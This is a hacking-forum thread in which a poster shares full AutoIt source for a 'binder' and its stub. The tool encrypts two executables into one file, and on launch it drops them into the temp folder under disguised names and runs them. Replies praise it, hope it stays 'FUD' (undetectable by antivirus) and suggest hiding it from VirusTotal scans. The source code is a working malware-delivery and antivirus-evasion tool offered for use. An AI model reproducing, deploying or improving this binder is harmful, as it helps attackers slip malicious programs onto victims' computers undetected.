[HC Official] Hack Community Binder

Solixious · 01-31-2013, 04:44 AM

Hello mates,
I'm glad to present before all of you guys Hack Community Binder today. It can be used to encrypt and bind two executable files along with a stub file into a single file. This file when executed would let both the files encrypted withing itself execute at the same time. It is an open source project done in autoit, so modifications and enhancements are welcome.

Screenshot:
[Image: HC_Binder.png]

Binder Source :

Code:
#include<GUIConstants.au3>

#include<EditConstants.au3>

#include<Crypt.au3>

#include<WindowsConstants.au3>

#include<GDIPlus.au3>

Opt("GUIOnEventMode",1)

$color1=0x090909

$color2=0xff0000

$color3=0x777777

$frame=GUICreate("Binder",600,400,200,200,$WS_POPUPWINDOW)

_GDIPlus_Startup()

$hImage = _GDIPlus_ImageLoadFromFile("logo.png")

$hGraphic = _GDIPlus_GraphicsCreateFromHWND($frame)

GUIRegisterMsg($WM_PAINT, "MY_WM_PAINT")

$header=GUICtrlCreateLabel("Binder",340,40,130,50)

$label1=GUICtrlCreateLabel("File 1",20,230,60,20)

$label2=GUICtrlCreateLabel("File 2",20,270,60,20)

$label3=GUICtrlCreateLabel("Output Path",20,310,60,20)

$input1=GUICtrlCreateInput("",90,230,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)

$input2=GUICtrlCreateInput("",90,270,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)

$input3=GUICtrlCreateInput("",90,310,450,20,$ES_AUTOHSCROLL+$ES_READONLY+$ES_OEMCONVERT)

$button1=GUICtrlCreateButton("...",550,230,30,20)

$button2=GUICtrlCreateButton("...",550,270,30,20)

$button3=GUICtrlCreateButton("...",550,310,30,20)

$bind=GUICtrlCreateButton("Bind",190,350,70,25)

$close=GUICtrlCreateButton("Close",270,350,70,25)

$about=GUICtrlCreateButton(">>",570,370,20,20)

$frame2=GUICreate("",300,100,800,500,$WS_POPUPWINDOW)

$label=GUICtrlCreateLabel("Author : Solixious Klein" & @CRLF & "Special Thanks : Deque and Coder-San" & @CRLF & "www.hackcommunity.com",20,20,300,100)

$view=0

init()

GUICtrlSetOnEvent($close,"quit")

GUICtrlSetOnEvent($button1,"getpath1")

GUICtrlSetOnEvent($button2,"getpath2")

GUICtrlSetOnEvent($button3,"getpath3")

GUICtrlSetOnEvent($bind,"bind")

GUICtrlSetOnEvent($about,"about")

GUISetState(@SW_SHOW,$frame)

GUISetOnEvent($GUI_EVENT_CLOSE,"quit",$frame)

While 1

   ;

WEnd

Func MY_WM_PAINT($hWnd, $msg, $wParam, $lParam)

    #forceref $hWnd, $Msg, $wParam, $lParam

    _WinAPI_RedrawWindow($frame, 0, 0, $RDW_UPDATENOW)

    _GDIPlus_GraphicsDrawImage($hGraphic, $hImage, 0, 0)

    _WinAPI_RedrawWindow($frame, 0, 0, $RDW_VALIDATE)

    Return $GUI_RUNDEFMSG

 EndFunc

Func init()

   GUICtrlSetFont($header,25,700,2)

   GUICtrlSetFont($label1,14)

   GUICtrlSetFont($label2,14)

   GUICtrlSetFont($label3,14)

   GUICtrlSetFont($label,11)

   GUICtrlSetFont($bind,12)

   GUICtrlSetFont($close,12)

   GUICtrlSetFont($input1,12)

   GUICtrlSetFont($input2,12)

   GUICtrlSetFont($input3,12)

   GUISetBkColor($color1,$frame)

   GUISetBkColor($color1,$frame2)

   GUICtrlSetBkColor($input1,$color3)

   GUICtrlSetBkColor($input2,$color3)

   GUICtrlSetBkColor($input3,$color3)

   GUICtrlSetBkColor($button1,$color2)

   GUICtrlSetBkColor($button2,$color2)

   GUICtrlSetBkColor($button3,$color2)

   GUICtrlSetColor($label1,$color2)

   GUICtrlSetColor($label2,$color2)

   GUICtrlSetColor($label,$color2)

   GUICtrlSetColor($label3,$color2)

   GUICtrlSetBkColor($bind,$color2)

   GUICtrlSetBkColor($close,$color2)

   GUICtrlSetBkColor($about,$color2)

   GUICtrlSetColor($header,$color2)

EndFunc

Func quit()

   _GDIPlus_GraphicsDispose($hGraphic)

   _GDIPlus_ImageDispose($hImage)

   _GDIPlus_Shutdown()

   Exit

EndFunc

Func getpath1()

   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)

   If @error Then

      ;

   Else

      GUICtrlSetData($input1,$filepath)

   EndIf

EndFunc

Func getpath2()

   $filepath=FileOpenDialog("Open Executable File",@MyDocumentsDir,"Executable File (*.exe)",1,"",$frame)

   If @error Then

      ;

   Else

      GUICtrlSetData($input2,$filepath)

   EndIf

EndFunc

Func getpath3()

   $filepath=FileSaveDialog("Save Binded File",@MyDocumentsDir,"Executable File (*.exe)",16,"",$frame) & ".exe"

   If @error Then

      ;

   Else

      GUICtrlSetData($input3,$filepath)

   EndIf

EndFunc

Func bind()

   $path1=GUICtrlRead($input1)

   $path2=GUICtrlRead($input2)

   $path3=GUICtrlRead($input3)

   If FileExists($path1) And FileExists($path2) Then

      $marker=StringToBinary("SOLIXIOUS")

      $output=FileOpen($path3,1+2+8+16)

      $inputx1=FileOpen($path1,0+16)

      $inputx2=FileOpen($path2,0+16)

      $data1=FileRead($inputx1)

      $data2=FileRead($inputx2)

      $stub=FileOpen(@ScriptDir & "\Stub.exe",0+16)

      $stubdata=FileRead($stub)

      FileWrite($output,$stubdata)

      FileWrite($output,$marker)

      $data1=encrypt(BinaryToString($data1))

      $data2=encrypt(BinaryToString($data2))

      FileWrite($output,StringToBinary($data1))

      FileWrite($output,$marker)

      FileWrite($output,StringToBinary($data2))

      FileClose($output)

      FileClose($inputx1)

      FileClose($inputx2)

      MsgBox(64,"Successful","Files Binded Successfully!")

      GUICtrlSetData($input1,"")

      GUICtrlSetData($input2,"")

      GUICtrlSetData($input3,"")

   EndIf

EndFunc

Func encrypt($data)

   $data=_Crypt_EncryptData($data,"SOLIXIOUS",$CALG_RC4)

   Return $data

EndFunc

Func about()

   If $view=0 Then

      GUISetState(@SW_SHOW,$frame2)

      GUICtrlSetData($about,"<<")

      $view=1

   Else

      GUISetState(@SW_HIDE,$frame2)

      GUICtrlSetData($about,">>")

      $view=0

   EndIf

EndFunc

Stub Source :

Code:
#include<Crypt.au3>

$path=@ScriptFullPath

$file=FileOpen($path,0+16)

$data=FileRead($file)

$marker="SOLIXIOUS"

$strdata=BinaryToString($data)

$ardata=StringSplit($strdata,$marker,1)

HotKeySet("+!c","quit")

If @error Then

   MsgBox(0,"No Delimiters","No delimiters Found!")

Else

   If $ardata[0]=3 Then

      $ardata[2]=decrypt(BinaryToString($ardata[2]))

      $ardata[3]=decrypt(BinaryToString($ardata[3]))

      $file1=FileOpen(@TempDir & "\GraphicsAccelerator.exe",2+16)

      FileWrite($file1,$ardata[2])

      FileClose($file1)

      $file2=FileOpen(@TempDir & "\GraphicsService.exe",2+16)

      FileWrite($file1,$ardata[3])

      FileClose($file2)

      ShellExecute(@TempDir & "\GraphicsAccelerator.exe")

      ShellExecute(@TempDir & "\GraphicsService.exe")

      While 1

         ;

      WEnd

   EndIf

EndIf

Func decrypt($data)

   $data=_Crypt_DecryptData($data,"SOLIXIOUS",$CALG_RC4)

   return $data

EndFunc

Func quit()

   Exit

EndFunc

Download Link :
HC Binder x86
HC Binder x64

Ex094 · 01-31-2013, 06:40 AM

That is an awesome tool mate, Tested it and working great. Thank You!

Deque · 01-31-2013, 08:36 AM

Well done, mate.
Let's hope it stays FUD for a while. Once such a binder is published and used by people it will be detected. It is just a matter of time.

hackarchives · 01-31-2013, 08:48 AM

I think you should add some password protection to prevent some leechers and noobs from testing it on virustotal..Distribute with discreteness

Solixious · 01-31-2013, 05:25 PM

(01-31-2013, 06:40 AM)Ex094 Wrote: That is an awesome tool mate, Tested it and working great. Thank You!

You're welcome mate. I'm glad you liked it Smile

Deque Wrote:Well done, mate.
Let's hope it stays FUD for a while. Once such a binder is published and used by people it will be detected. It is just a matter of time.

I'll try to keep it updated regularly so that it becomes a little more difficult to detect it.
And thank you for helping me out while making this. I really appreciate that.

hackarchives Wrote:I think you should add some password protection to prevent some leechers and noobs from testing it on virustotal..Distribute with discreteness

I guess you are right. I should be doing that soon and updating the links..

noize · 02-04-2013, 03:56 PM

So much of a great tool. Many thanks, mate.

Rocky Ajwani · 02-04-2013, 06:28 PM

Today I've bought a new 2nd hand pc, only for hacking purpose...Will start soon! BTW nice tool.

Riverclawz · 02-14-2013, 05:55 PM

Thanks man, i'm attempting to collect a few good tools that aren't too public, so i can put it on a stick and carry it everywhere.
Gj bro! i'm giving out too many thanks due to your programs xD

Riverclawz · 02-14-2013, 05:55 PM

Thanks man, i'm attempting to collect a few good tools that aren't too public, so i can put it on a stick and carry it everywhere.
Gj bro! i'm giving out too many thanks due to your programs xD

Riverclawz · 02-14-2013, 05:55 PM

Thanks man, i'm attempting to collect a few good tools that aren't too public, so i can put it on a stick and carry it everywhere.
Gj bro! i'm giving out too many thanks due to your programs xD